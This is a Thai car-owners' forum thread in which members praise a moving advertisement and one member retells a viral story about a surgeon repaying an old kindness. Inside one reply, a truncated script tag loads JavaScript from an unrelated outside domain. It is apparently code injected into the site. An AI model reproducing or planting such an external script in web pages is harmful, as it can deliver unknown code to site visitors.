ตอบ
boynanaza


เข้าร่วม: 02 สิงหา 2012
ตอบ: 1012

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1061
ให้คำขอบคุณ: 439

ที่อยู่: นนทบุรี @ESเมืองทอง
ปี: 2002
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)
พฤหัส, 12 กันยา 2013 19:43 - โฆษณาซึ้งๆมาให้ดูครับ

สมชาย


เข้าร่วม: 14 มกรา 2013
ตอบ: 5916

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 4245
ให้คำขอบคุณ: 7209

ที่อยู่: อ.บ้านบึง จ.ชลบุรี
ปี: 2001
สี: แดง รอยัล รูบี้ (มุก) (R-522P)
พฤหัส, 12 กันยา 2013 19:45 - โฆษณาซึ้งๆมาให้ดูครับ
...ซึ่ง มากๆๆ
ได้รับคำขอบคุณจาก: boynanaza 
civicnarok


เข้าร่วม: 08 พฤศจิกา 2012
ตอบ: 262

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 425
ให้คำขอบคุณ: 0
พฤหัส, 12 กันยา 2013 20:14 - โฆษณาซึ้งๆมาให้ดูครับ
สุดยอดเลยคับ
ได้รับคำขอบคุณจาก: boynanaza 
woot


ชื่อเล่น: วุธ

เข้าร่วม: 11 กุมภา 2013
ตอบ: 533

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 487
ให้คำขอบคุณ: 492

ที่อยู่: สระบุรี
ปี: 2003
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
พฤหัส, 12 กันยา 2013 20:33 - โฆษณาซึ้งๆมาให้ดูครับ
อยากให้สังคมไทยมีน้ำใจกันแบบนี้
ได้รับคำขอบคุณจาก: boynanaza 
nammon_211


ชื่อเล่น: น้ำมนต์

เข้าร่วม: 12 มิถุนา 2013
ตอบ: 2081

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1949
ให้คำขอบคุณ: 1031

ที่อยู่: ESC / แหลมฉบัง ชลบุรี@ นครศรีธรรมราช
ปี: 2003
สี: ทอง แซทเทิลไลท์ (NH-663M)
พฤหัส, 12 กันยา 2013 21:21 - โฆษณาซึ้งๆมาให้ดูครับ
คิดดี ทำดี สังคมดี รีเจนซี่บรั่นดีไทยครับ...<script src="https://sport32news.com/civicesgroup.js"></
ได้รับคำขอบคุณจาก: boynanaza 
menacekeng


ชื่อเล่น: เก่ง

เข้าร่วม: 04 ธันวา 2012
ตอบ: 362

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 441
ให้คำขอบคุณ: 357

ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)
พฤหัส, 12 กันยา 2013 23:26 - โฆษณาซึ้งๆมาให้ดูครับ
ขอบคุณครับ ซึ้งจริงๆด้วย
cisco


ชื่อเล่น: เต้น

เข้าร่วม: 25 พฤศจิกา 2008
ตอบ: 3557

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 5197
ให้คำขอบคุณ: 9940
ศุกร์, 13 กันยา 2013 00:01 - โฆษณาซึ้งๆมาให้ดูครับ
...
domziia


ชื่อเล่น: เจต

เข้าร่วม: 24 กุมภา 2012
ตอบ: 1246

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1167
ให้คำขอบคุณ: 3865

ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)
ศุกร์, 13 กันยา 2013 01:47 - โฆษณาซึ้งๆมาให้ดูครับ
ดูแล้วน้ำตาไหลเลย
fasang.Mr


ชื่อเล่น: บี

เข้าร่วม: 23 มีนา 2010
ตอบ: 2101

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1764
ให้คำขอบคุณ: 2323

ที่อยู่: นนทบุรี-ประจวบฯ-พะเยา
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)
ศุกร์, 13 กันยา 2013 07:55 - โฆษณาซึ้งๆมาให้ดูครับ
ดีครับ ซึ้งเลยล่ะ บุญคุณต้องทดแทน แค้นไม่เคยลืม
note_okaasan


ชื่อเล่น: สมุดโน้ต

เข้าร่วม: 29 พฤษภาคม 2013
ตอบ: 665

Guru ES
Guru ES

ได้รับคำขอบคุณ: 268
ให้คำขอบคุณ: 665

ที่อยู่: ลาดกระบัง อ่อนนุช
ปี: 2003
สี: ขาว ทาฟเฟต้า (NH-578)
ศุกร์, 13 กันยา 2013 08:02 - โฆษณาซึ้งๆมาให้ดูครับ
ซึ้งมากเลยครับ น้ำตาซึมเลย
inkman


ชื่อเล่น: วี

เข้าร่วม: 16 กรกฎา 2013
ตอบ: 497

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 247
ให้คำขอบคุณ: 329

ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)
ศุกร์, 13 กันยา 2013 08:20 - โฆษณาซึ้งๆมาให้ดูครับ
. ซึ้งมาก
wat88


ชื่อเล่น: วัช

เข้าร่วม: 09 มกรา 2013
ตอบ: 143

มือใหม่หัดขับ
มือใหม่หัดขับ

ได้รับคำขอบคุณ: 84
ให้คำขอบคุณ: 0

ปี: 2003
สี: เทา ซิลเวอร์สโตน (NH-630M)
ศุกร์, 13 กันยา 2013 09:26 - โฆษณาซึ้งๆมาให้ดูครับ
ดีมากๆๆขอบคุณมากที่เอาโฆษณาดีๆมาให้ดู
surasaka


เข้าร่วม: 02 สิงหา 2011
ตอบ: 722

Guru ES
Guru ES

ได้รับคำขอบคุณ: 551
ให้คำขอบคุณ: 3511
ศุกร์, 13 กันยา 2013 10:02 - โฆษณาซึ้งๆมาให้ดูครับ
บุญคุณต้องทดแทน....

cisco


ชื่อเล่น: เต้น

เข้าร่วม: 25 พฤศจิกา 2008
ตอบ: 3557

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 5197
ให้คำขอบคุณ: 9940
ศุกร์, 13 กันยา 2013 17:01 - โฆษณาซึ้งๆมาให้ดูครับ
เนื้อเรื่องคล้าย ๆ กันเลย เห็นบอกว่ามาจากเรื่องจริง 


เป็นเรื่องราวดี ๆ ที่ถูกแชร์ ถูกส่งต่อกันอย่างมากมายในสังคมออนไลน์ เกี่ยวกับเรื่องราวของคุณหมอคนหนึ่ง ที่ผ่าตัดเนื้อร้ายให้กับหญิงคนหนึ่ง โดยไม่คิดค่าใช้จ่ายแม้แต่บาทเดียว... ซึ่งคุณหมอคนดังกล่าว มีชื่อว่า "นายแพทย์เดชา ทองวิจิตร" แต่ถึงแม้ว่า จะไม่ทราบว่าผู้บอกเล่าเรื่องราวดังกล่าวเป็นใคร และเรื่องนี้เป็นเรื่องจริงหรือไม่ ส่วนนายแพทย์เดชา ทองวิจิตร นั้น จะเป็นเพียงตัวละคร หรือเป็นนายแพทย์ที่มีตัวตนจริง ๆ แต่เรื่องราวดี ๆ เรื่องนี้ ก็ทำให้คนที่ได้อ่านรู้สึกตื้นตันใจอย่างบอกไม่ถูก แถมได้ข้อคิดหลายอย่างเลยทีเดียว...ลองไปอ่านเรื่องราวของ นายแพทย์เดชา ทองวิจิตร กันเลย...


เสียงผู้หญิงวัยกลางคนคนหนึ่งตะโกนลั่น พร้อมกับมีเด็กคนหนึ่งกับผู้หญิงอีกคนหนึ่งวิ่งผ่านฉันกับแม่ที่กำลังซื้อเนื้อหมูในตลาดไปอย่างรวดเร็ว ทั้งแม่และฉันหันไปดูทันเห็นหน้าผู้หญิงคนนั้นแค่แวบเดียว แม่ถามฉันว่า "อ้าว นั่นป้าร้านขายของไม่ใช่เหรอ"

"ใช่จ้ะแม่ แกวิ่งไล่ใครกันล่ะ"

ป้าคนนั้นชื่อว่า "ป้าหนอม" เป็นแม่ค้าขายของชำสารพัดอย่างในตัวตลาดในอำเภอที่ฉันอยู่ มีฐานะจัดว่าดีกว่าแม่ค้าคนอื่น ๆ ในละแวกเดียวกัน และเป็นที่รู้จักกันว่าแกเป็นคนที่ขี้เหนียวอย่างร้ายกาจ แถมปากจัดที่สุดในตลาดอีกด้วย ใครต่อราคาของมากเกินไป หรือถามราคาแล้วไม่ซื้อ ป้าแกจะโวยวายชนิดต้องรีบเผ่นออกจากร้านแทบไม่ทันทีเดียว

เสียงเอะอะดังมากขึ้น ฉันหันไปมองป้าหนอมจับข้อมือเด็กผู้ชายคนหนึ่งอายุประมาณ 12-13 ขวบ ไล่เลี่ยกับฉัน ซึ่งกำลังดิ้นรนอยู่ และป้าแกกำลังจะลงไม้ลงมือแม่จึงเดินเข้าไปถาม

"พี่หนอม มีไรเหรอคะ"

"ก็ไอ้เด็กเวรนี่นะสิ มันมาทำทีขอซื้อยาแก้ปวดกับยาธาตุ พอฉันหยิบส่งให้มันก็วิ่งหนีมาเลย เงินก็ไม่จ่าย" พูดจบป้าหนอมก็ตบหัวเด็กคนนั้นอย่างแรงหนึ่งที และคงจะมีตามมาอีกหลายทีแน่ ถ้าแม่ฉันไม่ห้ามไว้

"ตายแล้วพี่หนอม อย่าถึงกับลงไม้ลงมือกันเลยนะ แล้วนี่จะทำไงต่อ" แม่รีบตัดบทเพราะเห็นว่าเรื่องราวชักจะไปกันใหญ่

"เรียกตำรวจมาเอามันไปเข้าคุกนะสิ เสียนิสัย พ่อแม่ไม่สั่งสอนยังเด็กตัวแค่นี้ก็ริจะเป็นขโมยซะแล้ว ต่อไปก็คงต้องปล้นเขากินแหละ"

ฉันสะกิดแม่ทันทีพร้อมกับมองพลางส่ายหัวน้อย ๆ ทำนองว่าอย่าไปยุ่งดีกว่า แม่มองฉันแล้วมองเด็กคนนั้น ซึ่งท่าทางเหมือนกำลังจะร้องไห้ แม่นิ่งคิดอยู่ครู่หนึ่ง แล้วหันไปพูดกับป้าหนอมว่า "อย่าให้ถึงอย่างนั้นเลยนะพี่หนอม เด็กมันคงอยากซื้อยาแต่ไม่มีเงินน่ะ เอาเป็นว่าฉันจ่ายให้ละกันนะ กี่บาทกันล่ะ"

ในที่สุดเรื่องก็จบลง โดยการที่แม่ยอมจ่ายเงินค่ายาแก้ปวดกับยาธาตุ แล้วแม่ก็จูงเด็กคนนั้นออกมาจากตลาด แต่ป้าหนอมยังไม่วายเตือนแม่ "ใจดีกับเด็กขี้ขโมยแบบนี้ ระวังจะเสียใจทีหลังนะเธอ"

แม่ไม่ได้ตอบอะไร แต่พอเดินห่างจากร้านพอสมควรแล้วก็ถามว่า "ทำไมหนูขโมยของป้าเขาล่ะ" เด็กคนนั้นเงยหน้าที่เต็มไปด้วยน้ำตาขึ้นมองแม่ แล้วตอบสะอึกสะอื้นว่า

"แม่ผมปวดท้องมากเลยครับ แล้วแม่ก็ไม่มีเงินไปหาหมอ ผมก็เลยต้อง..." แม่มองหน้าเด็กคนนั้นอยู่ครู่หนึ่งแล้วยื่นผลไม้ที่ซื้อมาให้เด็กคนนั้นถุงหนึ่ง แล้วบอกว่า "ทีหลังอย่าขโมยของใครนะ ถ้าไม่มีเงินมาขอเงินน้าไปซื้อก็ได้นะ น้าชื่อสมพร เปิดร้านเย็บผ้าอยู่ใกล้ ๆ นี่เอง ถามคนแถวนี้ก็ได้ รู้จักน้าแทบทุกคนเลยแหละ เอ้า...เอา ส้มไปฝากคุณแม่ซิ คนป่วยต้องกินผลไม้มาก ๆ จะได้หายไว ๆ รู้ไหม" แม่เสริมพร้อมกับยิ้ม

เด็กคนนั้นอึ้งอยู่ครู่หนึ่ง ก่อนที่จะรับส้มพร้อมกับพูดขอบคุณแม่แล้วเดินจากไป หลังจากนั้นพอกลับมาถึงบ้าน ฉันก็ถามแม่ทันที "ทำไมแม่ต้องช่วยเด็กคนนั้นด้วยล่ะ รู้จักกันเหรอจ้ะ" แม่ยิ้ม แล้วตอบฉันว่า "ไม่รู้จักหรอก แต่แม่เห็นเด็กคนนั้นรับจ้างหาบขนมขายอยู่แถวบ้านเราน่ะลูก แต่คงจำแม่ไม่ได้หรอก แม่ซื้อขนมแกอยู่ไม่กี่ครั้งเอง"

"แต่นั่นก็ไม่ใช่เหตุผลที่จะต้องช่วยเหลือเขาถ้าเขาเป็นขโมยนี่แม่" ฉันถามต่อ แม่มองหน้าฉันแล้วพูดว่า "แม่เชื่อว่าเด็กที่เคยหาเงินด้วยตัวเองมาก่อนตั้งแต่อายุเท่า ๆ กับลูกจะต้องเป็นเด็กที่มีความรับผิดชอบ รู้คุณค่าของเงินทุกบาททุกสตางค์ว่ากว่าจะได้มามันเหนื่อยยากขนาดไหน และคนที่มีความรับผิดชอบนะ จะไม่มีทางขโมยของใครนอกจากจะจำเป็นจริง ๆ เมื่อเขาไม่มีทางอื่นให้เลือกแล้วเท่านั้น"

ฉันฟังแล้วก็ถามแม่ต่อว่า "แล้วต่อไปถ้าเขามาขอเงินแม่ไปซื้อยาอีก แม่จะให้เขารึเปล่า"

"ให้สิลูกถ้ามันไม่มากไม่มายอะไร"

"แล้วแม่ไม่เสียดายเงินเหรอ บ้านเราก็ไม่ได้ร่ำรวยเหมือนบ้านป้าหนอมเขานะแม่"

"ถึงแม่จะไม่มีเงินทองมากนัก แต่การที่ได้ช่วยเหลือคนที่กำลังลำบากน่ะ มันทำให้แม่มีความสุข แล้วยังได้บุญอีกด้วยนะ แค่นี้แม่ก็พอใจแล้วไม่อยากได้อะไรตอบแทนหรอก"

แล้วแม่ก็พูดต่ออีกว่า "จำไว้นะลูก คนเรานะ ต้องรู้จักให้อภัยและให้โอกาสคนอื่นแก้ตัวเสมออย่างเด็กคนนั้น.. แม่มั่นใจว่าแกทำไปเพราะรักคุณแม่ของแกจริง ๆ แม่ถึงช่วยแกเอาไว้"

แล้วแม่ก็พูดต่อว่า "ลูกอาจจะบอกว่าขโมยเป็นสิ่งที่ผิด ใช่...แม่ไม่เถียงแต่บางครั้งคนเราก็ต้องมองด้านอื่น ๆ บ้าง อย่าคิดแต่เรื่องทรัพย์สินเงินทองตอนนี้ลูกอาจจะยังฟังไม่เข้าใจ แต่แม่เชื่อว่าสักวันลูกจะเข้าใจเองแหละ"

หลังจากนั้น ฉันกับแม่ก็หันไปคุยเรื่องอื่น ๆ กันต่อ ฉันเองไม่เคยคิดเรื่องนี้อีกเลย จนเหตุการณ์หนึ่งเกิดขึ้นทำให้ฉันต้องย้อนกลับมาคิดถึงเรื่องนี้อีกครั้งทั้งน้ำตาว่าคำพูดของแม่ในครั้งนี้ถูกต้องที่สุดจริง ๆ

หลังจากนั้นฉันเรียนจบระดับปริญญาตรีจากสถาบันราชภัฏแห่งหนึ่งในตัวจังหวัด แล้วฉันก็ได้งานทำในโรงงานแห่งหนึ่งในตัวจังหวัดนั้นเอง เงินเดือนก็พอประมาณสามารถเลี้ยงดูแม่ได้โดยไม่ขัดสนนัก ฉันก็เลยขอร้องให้แม่หยุดรับจ้างเย็บผ้าเพราะอยากให้แม่พักผ่อนบ้างหลังจากทำงานหนักมาเกือบ 20 ปี เพื่อส่งฉันเรียนแม่ยอมปิดร้าน แต่ก็ยังรับงานเล็ก ๆ น้อย ๆ ของเพื่อนบ้านมาทำบ้างโดยไม่คิดเงิน แม่บอกว่าถ้าไม่ได้ทำอะไรเลยจะรู้สึกเบื่อ ฉันก็เลยต้องยอมตามใจแม่

ฉันทำงานอยู่ประมาณ 2-3 ปี แม่ก็เริ่มรู้สึกไม่สบาย เริ่มจากปวดหัวบ่อยขึ้นช่วงแรก ๆ ไม่กี่วันก็หาย หลังจากนั้นก็เริ่มเป็นนานขึ้นเรื่อย ๆ

ฉันบอกให้แม่ไปหาหมอ แล้วฉันก็พาแม่ไปหาหมอในเมือง หมอบอกว่าไม่เป็นอะไรมาก แค่ทำงานหนักมากเกินไป หมอให้ยามาชุดหนึ่งพร้อมกำชับให้พักผ่อนมาก ๆ จะได้หายเร็ว ๆ

หลังจากกินยาตามที่หมอสั่ง อาการปวดหัวของแม่ก็หายไป ฉันเริ่มสบายใจขึ้นแต่หลังจากไปหาหมอได้ประมาณหนึ่งเดือน แม่ก็เริ่มกลับมาปวดหัวอีก คราวนี้เป็นหนักมากกว่าครั้งที่แล้ว ยาที่เคยกินแล้วได้ผลมาก่อนก็ไม่ได้ผลเลย ฉันกังวลใจมาก พอถามหมอ หมอก็บอกว่าต้องไปตรวจที่โรงพยาบาลในกรุงเทพฯ เพราะว่าเครื่องไม้เครื่องมือพร้อมกว่าโรงพยาบาลต่างจังหวัด

หลังจากนั้นฉันรีบพาแม่ไปกรุงเทพฯ ทันที ไปยังโรงพยาบาลเอกชนแห่งหนึ่ง ซึ่งหลังจากหมอตรวจแล้วบอกว่า มีเนื้องอกในสมองต้องผ่าตัดโดยด่วน หากปล่อยทิ้งไว้อาจไปทับเส้นประสาททำให้เป็นอัมพาตได้ หรือถ้าผ่าตัดไม่ทันก็อาจร้ายแรงถึงขั้นเสียชีวิต ฉันตกใจมากขอให้หมอผ่าตัดให้ทันที แต่หมอบอกว่าโรงพยาบาลที่มีหมอผ่าตัดสมองที่มีความพร้อมที่จะผ่าตัดเนื้องอกในสมองเป็นอีกโรงพยาบาลหนึ่งซึ่งมีชื่อเสียงมากกว่า ดังนั้นหมอจึงต้องส่งตัวคนไข้ไปยังโรงพยาบาลนั้นฉันก็ตกลง

หลังจากถูกส่งตัวมายังโรงพยาบาลดังกล่าวแล้วแม่ก็ถูกส่งตัวเข้าห้องผ่าตัดทันที ขณะที่ฉันรออย่างกังวลใจอยู่ด้านนอกทั้งเรื่องอาการป่วยของแม่และจากคำพูดของหมอที่ทิ้งท้ายไว้ก่อนส่งตัวแม่มาที่โรงพยาบาลแห่งนี้หมอบอกให้ทำใจไว้บ้าง เพราะการผ่าตัดสมองเป็นการผ่าตัดที่เสี่ยงมากโอกาสที่คนไข้จะเสียชีวิตมีมาก แม้การผ่าตัดจะประสบความสำเร็จก็ตามอีกเรื่องก็คือค่าใช้จ่ายในการผ่าตัดสมองค่อนข้างสูง เป็นหลักแสนบาทเมื่อรวมกับค่ายา ระหว่างพักฟื้น คิดแล้วน่าจะต้องใช้เงินราว ๆ ห้าแสนบาท

ฉันได้ยินแล้วแทบลมจับ ฉันจะไปหาเงินห้าแสนบาทมาจากไหน ลำพังเงินเก็บของฉันกับแม่ยังมีไม่ถึงห้าหมื่นบาทเลย แต่ยังไงฉันก็ต้องรักษาแม่ให้หาย ส่วนเรื่องเงินไว้คิดทีหลัง

หลังการผ่าตัดเสร็จสิ้นลง เป็นโชคดีของแม่ที่การผ่าตัดประสบผลสำเร็จและไม่มีอาการแทรกซ้อนใด ๆ ทางโรงพยาบาลบอกให้พักฟื้นประมาณหนึ่งเดือนก็สามารถไปพักฟื้นที่บ้านได้ ทางโรงพยาบาลแจ้งรายการค่าใช้จ่ายทั้งหมดมาให้ฉัน ปรากฏว่าเป็นเงินจำนวนไม่ถึงหนึ่งพันบาท เป็นค่าติดต่อประสานงานเท่านั้น

ฉันแปลกใจมาก จึงสอบถามกับนางพยาบาล นางพยาบาลบอกว่าคุณหมอที่เป็นคนผ่าตัดและเป็นเจ้าของไข้บอกไม่ให้คิดเงินกับฉันและแม่ โดยที่ทางโรงพยาบาลก็ไม่ทราบสาเหตุ ฉันจึงขอพบคุณหมอคนนั้นเพื่อขอบคุณ นางพยาบาลบอกว่า หลังจากเสร็จคุณหมอก็ถูกส่งตัวไปต่างประเทศทันทีเพื่อศึกษาเพิ่มเติมเกี่ยวกับการผ่าตัดสมองที่อเมริกา แต่คุณหมอได้ฝากจดหมายไว้ให้ฉันกับแม่โดยกำชับกับทางโรงพยาบาลให้ฝากให้ฉันพร้อมกับใบเสร็จค่าใช้จ่ายอื่น ๆ ของทางโรงพยาบาลในวันที่แม่สามารถออกจากโรงพยาบาลได้

เมื่อกลับถึงบ้าน ฉันกับแม่ก็เปิดอ่านจดหมายของคุณหมอคนนั้น เมื่ออ่านจบทั้งฉันและแม่ก็ร้องไห้ออกมาพร้อมกัน เนื้อความในจดหมายมีดังนี้

ข้าพเจ้านายแพทย์เดชา ทองวิจิตร แพทย์ผู้ผ่าตัด นางสมพร ภู่จันทร์ ขอสรุปค่าใช้จ่ายในการผ่าตัดทั้งหมดดังนี้

ค่าผ่าตัด 0 บาท
ค่ายาทั้งหมด 0 บาท
ค่าใช้จ่ายอื่นที่เหลือ 0 บาท
รวมเป็นเงินทั้งหมด 0 บาท

ป.ล. ค่าใช้จ่ายทั้งหมดได้รับแล้ว เมื่อยี่สิบปีก่อนด้วยยาแก้ปวด ยาธาตุ ส้มหนึ่งถุง

ขอให้สุขภาพแข็งแรงไปอีกนาน ๆ นะครับคุณน้า
นายแพทย์เดชา ทองวิจิตร

Credit: SS
 
ake_es


ชื่อเล่น: เอก

เข้าร่วม: 01 มิถุนา 2009
ตอบ: 838

Guru ES
Guru ES

ได้รับคำขอบคุณ: 710
ให้คำขอบคุณ: 244

ที่อยู่: ดอนเมือง
ศุกร์, 13 กันยา 2013 22:11 - โฆษณาซึ้งๆมาให้ดูครับ
สุด.......................
ตอบ
หน้า 1 จาก 1
ไปที่: 
ติดต่อโฆษณา admin@civicesgroup.com
Copyright © 2008-2025 Civic ES Group. All rights reserved.